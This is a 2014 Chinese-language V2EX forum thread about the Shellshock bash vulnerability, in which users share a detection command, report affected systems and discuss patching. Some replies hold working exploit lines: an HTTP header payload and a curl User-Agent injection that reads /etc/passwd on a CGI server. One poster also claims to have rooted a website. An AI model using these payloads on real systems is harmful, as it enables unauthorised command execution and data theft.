bash 的漏洞，你们中招了吗？ - V2EX

Home Sign Up Sign In

This topic created in 4432 days ago, the information mentioned may be changed or developed.

http://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x

检测：

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
中招的显示:

vulnerable
this is a test

如果是没有问题，则是下面
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Supplement 1 · Sep 26, 2014

补充一下这个问题的危害：
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

简单的http攻击的例子(ddos?)
Http头里如果这样写：
http-header = Host:() { :; }; ping -c 3 8.8.8.8
貌似在服务器上就执行了ping

44 replies • 2014-09-26 15:31:02 +08:00

Earthman

Sep 25, 2014

1

debian sid中招

Bakemono

Sep 25, 2014

2

影响范围很大的。
我已经成功复现本地搭建的 cgi-bin 的网站，执行命令并且回显，目测很多都会沦陷掉..

lu18887

Sep 25, 2014

3

@Bakemono 有这么严重？只有自己用的服务器都不行？

jimmy2010

Sep 25, 2014

4

@Bakemono 有具体执行的细节么，我也想测试一下我的网站。debian nginx php fast-cgi

messagebus

Sep 25, 2014

5

手里的五台都中………………

ryon

Sep 25, 2014

6

有修复方案了么

icevil

Sep 25, 2014

1

7

@jimmy2010

http://zone.wooyun.org/content/15392

chenshaoju

Sep 25, 2014

8

http://twitter.com/chenshaoju/status/514989026042855424

两台全中，Debian 7.6

14

Sep 25, 2014

9

sudo apt-get update && sudo apt-get updrade 检测到bash更新，更新之后就好了~

mml

Sep 25, 2014

10

这个补丁还是有问题，继续关注等更新吧。

moname

Sep 25, 2014

11

一早起来就update了

cielpy

Sep 25, 2014

12

中招了。。

orzfly

Sep 25, 2014

1

13

@14 其实可以省略 -get
apt update && apt upgrade

14

Sep 25, 2014

14

@orzfly 赞！现在才知道

Bakemono

Sep 25, 2014

1

15

@jimmy2010 php不必担心的样子
@lu18887 挺严重的，我已经测试某网站并且root掉了..

具体细节..>_>
curl -A'() { :; }; /bin/cat /etc/passwd > /tmp/test' http://192.168.0.1/poc.cgi

loveminds

Sep 25, 2014

16

没记错的话bash应该不是setuid的程序吧

lightforce

Sep 25, 2014

17

env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("

yemoluo

Sep 25, 2014

18

我的macbook 肿么办

q397064399

Sep 25, 2014

19

@GTim 这个貌似也得先取得user权限吧

q397064399

Sep 25, 2014

20

@Bakemono 如何利用？用php先取得用户权限执行shell 然后用这个漏洞提升到root?

Bakemono

Sep 25, 2014

21

@q397064399 利用方法我已经写了，不需要任何权限，只要是 *纯bash* 的 cgi 就可以，当然我只测试了 apache 的

duzhe0

Sep 25, 2014

22

debian的默认shell是dash，所以debian的服务器受影响应该比较小。

duzhe0

Sep 25, 2014

23

@Bakemono 我看curl的-A选项是指定User-Agent，为什么这个会作为env传给cgi呢？

Bakemono

Sep 25, 2014

1

24

@duzhe0 Apache 会把 User-Agent 当作环境变量去声明，所以会导致漏洞发生。

duzhe0

Sep 25, 2014

25

@Bakemono 哦，想起来了

lu18887

Sep 25, 2014

26

@Bakemono apache + mod_wsgi+django有问题？

jiang42

Sep 25, 2014

27

freeBSD 10.0中招

pimin

Sep 25, 2014

28

@Bakemono
利用脚本
https://github.com/ctxis/ActiveScanPlusPlus/blob/master/activeScan%2B%2B.py

iac

Sep 25, 2014

29

有没有比较快速的漏洞披露平台求推荐

Bakemono

Sep 25, 2014

30

@pimin 其实我自己写了个..
@lu18887 没有

paloalto

Sep 25, 2014

31

[root@li566-238 ~]# $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
-bash: $: command not found

哈哈哈哈哈哈

zhoulujue

Sep 25, 2014

32

bash: 警告: x: ignoring function definition attempt
bash: `x' 函数定义导入错误
this is a test

cj1324

Sep 25, 2014

33

@14 未必嘿嘿。继续等升级包。

Automan

Sep 25, 2014

34

@paloalto 把$符号去掉

miyuki

Sep 25, 2014 via Android

35

阿里云bash貌似也是刚才接到了了紧急通知

GPU

Sep 25, 2014

36

有一台中招了。

Tz101

Sep 25, 2014 via Android

37

手头的Android也中招了

lwbjing

Sep 25, 2014

38

centos 6.5中招，已修复。

P9

Sep 25, 2014

39

这个原理是？？？？

tideline

Sep 25, 2014

40

Macbook 中招😭

Earthman

Sep 25, 2014

41

今晚更新后没问题了

noikiy

Sep 25, 2014

42

@Bakemono 反弹之后也是要有可用的exp才可以提权到root吧

windyboy

OP

Sep 26, 2014 via Android

43

@iac threatpost.com

fork3rt

Sep 26, 2014

44

用zsh的飘过

About · Help · Advertise · Blog · API · FAQ · Privacy · Solana · 1013 Online Highest 6679 ·

Select Language

创意工作者们的社区

World is powered by solitude

VERSION: 3.9.8.5 · 130ms · UTC 19:20 · PVG 03:20 · LAX 11:20 · JFK 14:20
♥ Do have faith in what you're doing.